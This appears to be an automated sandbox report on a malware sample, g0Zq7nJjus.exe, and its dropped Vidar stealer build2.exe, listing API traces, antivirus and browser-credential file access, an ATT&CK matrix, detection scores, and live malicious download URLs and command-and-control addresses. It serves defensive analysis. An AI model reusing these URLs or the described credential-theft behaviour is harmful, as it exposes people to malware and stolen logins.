Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: EnumSystemLocalesW,	2_2_00437E27
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	2_2_00437E83
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	2_2_00437F00
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__calloc_crt,_free,	2_2_0042BF17
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: _LcidFromHexString,GetLocaleInfoW,GetLocaleInfoW,__wcsnicmp,GetLocaleInfoW,_TestDefaultLanguage,	2_2_00437F83
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	5_2_02720AB6
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: ___crtGetLocaleInfoA,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__calloc_crt,_free,__invoke_watson,	5_2_0270C8B7
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_free,_free,_free,_free,	5_2_0271394D
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,___crtLCMapStringA,___crtLCMapStringA,___crtGetStringTypeA,_free,_free,_free,_free,_free,_free,_free,_free,_free,	5_2_027149EA
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	5_2_02713F87
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,GetCPInfo,___crtLCMapStringA,___crtLCMapStringA,___crtGetStringTypeA,_free,_free,_free,_free,_free,_free,_free,_free,_free,	6_2_0043404A
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: _LcidFromHexString,GetLocaleInfoW,_TestDefaultLanguage,	6_2_00438178
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	6_2_00440116
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: _wcscmp,_wcscmp,GetLocaleInfoW,GetLocaleInfoW,GetACP,	6_2_004382A2
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,	6_2_0043834F
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: _memset,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_GetLcidFromCountry,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,___crtDownlevelLCIDToLocaleName,___crtDownlevelLCIDToLocaleName,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,__itow_s,	6_2_00438423
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	6_2_004335E7
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: EnumSystemLocalesW,	6_2_004387C8
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: GetLocaleInfoW,	6_2_0043884E
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_free,_free,_free,_free,_free,	6_2_00432B6D
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: _TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_GetLocaleNameFromDefault,IsValidCodePage,_wcschr,_wcschr,__itow_s,_LcidFromHexString,GetLocaleInfoW,	6_2_00437BB3
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: EnumSystemLocalesW,	6_2_00437E27
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	6_2_00437E83
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	6_2_00437F00
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__calloc_crt,_free,	6_2_0042BF17
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: _LcidFromHexString,GetLocaleInfoW,GetLocaleInfoW,__wcsnicmp,GetLocaleInfoW,_TestDefaultLanguage,	6_2_00437F83
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_free,_free,_free,_free,	6_2_00432FAD

Source: C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\g0Zq7nJjus.exe

Code function: 0_2_004080AC GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

0_2_004080AC

Source: C:\Users\user\Desktop\g0Zq7nJjus.exe

2_2_00419F90

Source: C:\Users\user\Desktop\g0Zq7nJjus.exe

Code function: 2_2_0042FE47 __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

2_2_0042FE47

Source: C:\Users\user\Desktop\g0Zq7nJjus.exe

2_2_00419F90

Source: C:\Users\user\Desktop\g0Zq7nJjus.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: build2.exe, 0000000A.00000003.3298848388.0000000000895000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2285936311.0000000000895000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2325153022.0000000000875000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2285936311.0000000000875000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.3339750115.0000000000895000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2325153022.0000000000895000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct

Stealing of Sensitive Information

Yara detected Vidar stealer

Source: Yara match	File source: 0000000A.00000002.3339537946.000000000084E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.3298522136.000000000084E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: build2.exe PID: 5640, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History

Source: Yara match

File source: Process Memory Space: build2.exe PID: 5640, type: MEMORYSTR

Remote Access Functionality

Yara detected Vidar stealer

Source: Yara match	File source: 0000000A.00000002.3339537946.000000000084E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.3298522136.000000000084E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: build2.exe PID: 5640, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact	Resource Development	Reconnaissance
Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Deobfuscate/Decode Files or Information	1 OS Credential Dumping	2 System Time Discovery	1 Taint Shared Content	11 Archive Collected Data	Exfiltration Over Other Network Medium	12 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	2 Data Encrypted for Impact	Acquire Infrastructure	Gather Victim Identity Information
Default Accounts	2 Native API	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	3 Obfuscated Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	Exfiltration Over Bluetooth	21 Encrypted Channel	SIM Card Swap	Obtain Device Cloud Backups	Network Denial of Service	Domains	Credentials
Domain Accounts	1 Shared Modules	1 Services File Permissions Weakness	311 Process Injection	22 Software Packing	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	Automated Exfiltration	1 Non-Standard Port			Data Encrypted for Impact	DNS Server	Email Addresses
Local Accounts	3 Command and Scripting Interpreter	Login Hook	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	NTDS	44 System Information Discovery	Distributed Component Object Model	Input Capture	Traffic Duplication	2 Non-Application Layer Protocol			Data Destruction	Virtual Private Server	Employee Names
Cloud Accounts	Launchd	Network Logon Script	1 Services File Permissions Weakness	1 Masquerading	LSA Secrets	1 Query Registry	SSH	Keylogging	Scheduled Transfer	113 Application Layer Protocol			Data Encrypted for Impact	Server	Gather Victim Network Information
Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	21 Virtualization/Sandbox Evasion	Cached Domain Credentials	271 Security Software Discovery	VNC	GUI Input Capture	Data Transfer Size Limits	Multiband Communication			Service Stop	Botnet	Domain Properties
External Remote Services	Systemd Timers	Startup Items	Startup Items	311 Process Injection	DCSync	21 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Exfiltration Over C2 Channel	Commonly Used Port			Inhibit System Recovery	Web Services	DNS
Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Services File Permissions Weakness	Proc Filesystem	2 Process Discovery	Cloud Services	Credential API Hooking	Exfiltration Over Alternative Protocol	Application Layer Protocol			Defacement	Serverless	Network Trust Dependencies
Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Web Protocols			Internal Defacement	Malvertising	Network Topology
Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	File Transfer Protocols			External Defacement	Compromise Infrastructure	IP Addresses

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
g0Zq7nJjus.exe	81%	ReversingLabs	Win32.Trojan.Lockbit
g0Zq7nJjus.exe	78%	Virustotal		Browse
g0Zq7nJjus.exe	100%	Avira	TR/AD.InstaBot.hlwtj
g0Zq7nJjus.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe	100%	Avira	TR/AD.InstaBot.hlwtj
C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe	38%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe	81%	ReversingLabs	Win32.Trojan.Lockbit
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\build2[1].exe	38%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\sqlite3[1].dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
brusuax.com	19%	Virustotal		Browse
zexeq.com	21%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://zexeq.com/files/1/build3.exe$run	100%	URL Reputation	malware
http://www.wikipedia.com/	0%	URL Reputation	safe
http://zexeq.com/files/1/build3.exe	100%	URL Reputation	malware
https://49.12.114.15:10220/cal	0%	Avira URL Cloud	safe
https://49.12.114.15:10220/mozglue.dll	0%	Avira URL Cloud	safe
https://49.12.114.15:10220/freebl3.dllk_	0%	Avira URL Cloud	safe
https://49.12.114.15:10220/J	0%	Avira URL Cloud	safe
http://zexeq.com/test1/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4&first=true	100%	Avira URL Cloud	malware
http://zexeq.com/test1/get.php	100%	Avira URL Cloud	malware
https://49.12.114.15:10220/mozglue.dll	1%	Virustotal		Browse
http://zexeq.com/test1/get.php	20%	Virustotal		Browse
https://49.12.114.15/y	0%	Avira URL Cloud	safe
https://49.12.114.15:10220/msvcp140.dllS	0%	Avira URL Cloud	safe
http://zexeq.com/test1/get.php/	100%	Avira URL Cloud	malware
http://zexeq.com/test1/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4&first=trueP	100%	Avira URL Cloud	malware
https://49.12.114.15:10220/softokn3.dll	0%	Avira URL Cloud	safe
https://49.12.114.15:10220/mozglue.dllq_	0%	Avira URL Cloud	safe
https://49.12.114.15:10220/nss3.dllosoft	0%	Avira URL Cloud	safe
http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error	0%	Avira URL Cloud	safe
https://49.12.114.15:10220/softokn3.dll	1%	Virustotal		Browse
https://49.12.114.15/F	5%	Virustotal		Browse
https://49.12.114.15/F	0%	Avira URL Cloud	safe
https://we.tl/t-99MNqXMr	0%	Avira URL Cloud	safe
https://49.12.114.15:10220/sqlite3.dllo	0%	Avira URL Cloud	safe
https://49.12.114.15:10220oaming	0%	Avira URL Cloud	safe
https://49.12.114.15:10220/sqlite3.dllj	0%	Avira URL Cloud	safe
https://49.12.114.15:10220/	0%	Avira URL Cloud	safe
https://49.12.114.15/lick-to-Run	0%	Avira URL Cloud	safe
https://49.12.114.15:10220232a0oogle	0%	Avira URL Cloud	safe
http://zexeq.com/test1/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4	100%	Avira URL Cloud	malware
http://zexeq.com/test1/get.php/	20%	Virustotal		Browse
https://49.12.114.15:10220/softokn3.dllt	0%	Avira URL Cloud	safe
https://49.12.114.15:10220/	1%	Virustotal		Browse
https://49.12.114.15:10220/msvcp140.dllt	0%	Avira URL Cloud	safe
http://zexeq.com/files/1/build3.exe$rune4	100%	Avira URL Cloud	malware
https://49.12.114.15:10220/aming	0%	Avira URL Cloud	safe
https://49.12.114.15:10220/nss3.dlldll	0%	Avira URL Cloud	safe
https://we.tl/t-99MNqXMrdS	0%	Avira URL Cloud	safe
https://we.tl/t-99MNqXMr	0%	Virustotal		Browse
http://brusuax.com/dl/build2.exe	100%	Avira URL Cloud	malware
https://49.12.114.15:10220/nss3.dlldll	1%	Virustotal		Browse
https://49.12.114.15:10220/sqlite3.dll	0%	Avira URL Cloud	safe
https://49.12.114.15:10220/sqlite3.dllB	0%	Avira URL Cloud	safe
http://brusuax.com/dl/build2.exe	25%	Virustotal		Browse
https://we.tl/t-99MNqXMrdS	0%	Virustotal		Browse
https://49.12.114.15/	0%	Avira URL Cloud	safe
https://49.12.114.15:10220/sqlite3.dll6	0%	Avira URL Cloud	safe
https://49.12.114.15:10220	0%	Avira URL Cloud	safe
https://49.1	0%	Avira URL Cloud	safe
https://49.12.114.15:10220	1%	Virustotal		Browse
https://we.tl/t-	0%	Avira URL Cloud	safe
https://49.12.114.15:10220/sqlite3.dll	1%	Virustotal		Browse
https://49.12.114.15:10220232a0xe	0%	Avira URL Cloud	safe
https://49.12.114.15/	1%	Virustotal		Browse
https://49.12.114.15:10220/mozglue.dllft	0%	Avira URL Cloud	safe
https://49.12.114.15:10220/nss3.dll	0%	Avira URL Cloud	safe
https://49.12.114.15:10220/freebl3.dllf_	0%	Avira URL Cloud	safe
https://we.tl/t-	0%	Virustotal		Browse
https://49.12.114.15:10220ocal	0%	Avira URL Cloud	safe
http://brusuax.com/dl/build2.exe$run	100%	Avira URL Cloud	malware
https://49.12.114.15:10220/vcruntime140.dllp	0%	Avira URL Cloud	safe
https://49.12.114.15:10220232a0icrosoft	0%	Avira URL Cloud	safe
https://49.12.114.15:10220/vcruntime140.dll	0%	Avira URL Cloud	safe
https://49.12.114.15:10220/freebl3.dll	0%	Avira URL Cloud	safe
https://49.12.114.15:10220/vcruntime140.dlle	0%	Avira URL Cloud	safe
https://49.12.114.15:10220/msvcp140.dll	0%	Avira URL Cloud	safe
http://zexeq.com/test1/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4w	100%	Avira URL Cloud	malware
https://49.12.114.15:10220/vcruntime140.dllge	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
t.me	149.154.167.99	true	false		high
api.2ip.ua	172.67.139.220	true	false		high
zexeq.com	196.188.169.138	true	true	21%, Virustotal, Browse	unknown
brusuax.com	95.86.30.3	true	true	19%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://zexeq.com/test1/get.php	true	20%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://zexeq.com/test1/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4&first=true	true	Avira URL Cloud: malware	unknown
http://zexeq.com/test1/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4	true	Avira URL Cloud: malware	unknown
http://brusuax.com/dl/build2.exe	true	25%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://api.2ip.ua/geo.json	false		high
https://t.me/bg3goty	false		high
http://zexeq.com/files/1/build3.exe	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://t.me/	build2.exe, 0000000A.00000003.2212050719.0000000000821000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.3339219475.0000000000819000.00000004.00000020.00020000.00000000.sdmp	false		high
https://49.12.114.15:10220/freebl3.dllk_	build2.exe, 0000000A.00000002.3339537946.000000000084E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.3298522136.000000000084E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://49.12.114.15:10220/cal	build2.exe, 0000000A.00000002.3337952118.000000000049F000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://web.telegram.org	build2.exe, 0000000A.00000003.2207119024.0000000000859000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2325413132.000000000084A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.3298522136.000000000084E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://49.12.114.15:10220/mozglue.dll	build2.exe, 0000000A.00000002.3337952118.000000000049F000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.3298522136.000000000084E000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://49.12.114.15:10220/J	build2.exe, 0000000A.00000003.3298848388.0000000000876000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.3298522136.000000000084E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.3339750115.0000000000877000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.2ip.ua/geo.jsonVB	g0Zq7nJjus.exe, 0000000C.00000002.2268247576.0000000000718000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.amazon.com/	g0Zq7nJjus.exe, 00000008.00000003.2410729674.0000000003430000.00000004.00001000.00020000.00000000.sdmp	false		high
https://49.12.114.15:10220/msvcp140.dllS	build2.exe, 0000000A.00000002.3339537946.000000000084E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.3298522136.000000000084E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.2ip.ua/geo.json(	g0Zq7nJjus.exe, 0000000C.00000002.2268346044.000000000077F000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 0000000C.00000003.2266926446.000000000077F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://49.12.114.15/y	build2.exe, 0000000A.00000003.2212050719.0000000000850000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://zexeq.com/files/1/build3.exe$run	g0Zq7nJjus.exe, 00000008.00000002.3338915528.0000000000843000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://www.twitter.com/	g0Zq7nJjus.exe, 00000006.00000003.2411279803.00000000035E0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://zexeq.com/test1/get.php/	g0Zq7nJjus.exe, 00000008.00000002.3338915528.00000000007F8000.00000004.00000020.00020000.00000000.sdmp	false	20%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://zexeq.com/test1/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4&first=trueP	g0Zq7nJjus.exe, 00000006.00000002.2862958130.0000000000610000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.openssl.org/support/faq.html	g0Zq7nJjus.exe, 0000000F.00000002.2335331684.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false		high
https://49.12.114.15:10220/softokn3.dll	build2.exe, 0000000A.00000002.3339537946.000000000084E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.3337952118.000000000049F000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.3298522136.000000000084E000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://49.12.114.15:10220/mozglue.dllq_	build2.exe, 0000000A.00000002.3339537946.000000000084E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.3298522136.000000000084E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://49.12.114.15:10220/nss3.dllosoft	build2.exe, 0000000A.00000002.3337952118.000000000049F000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
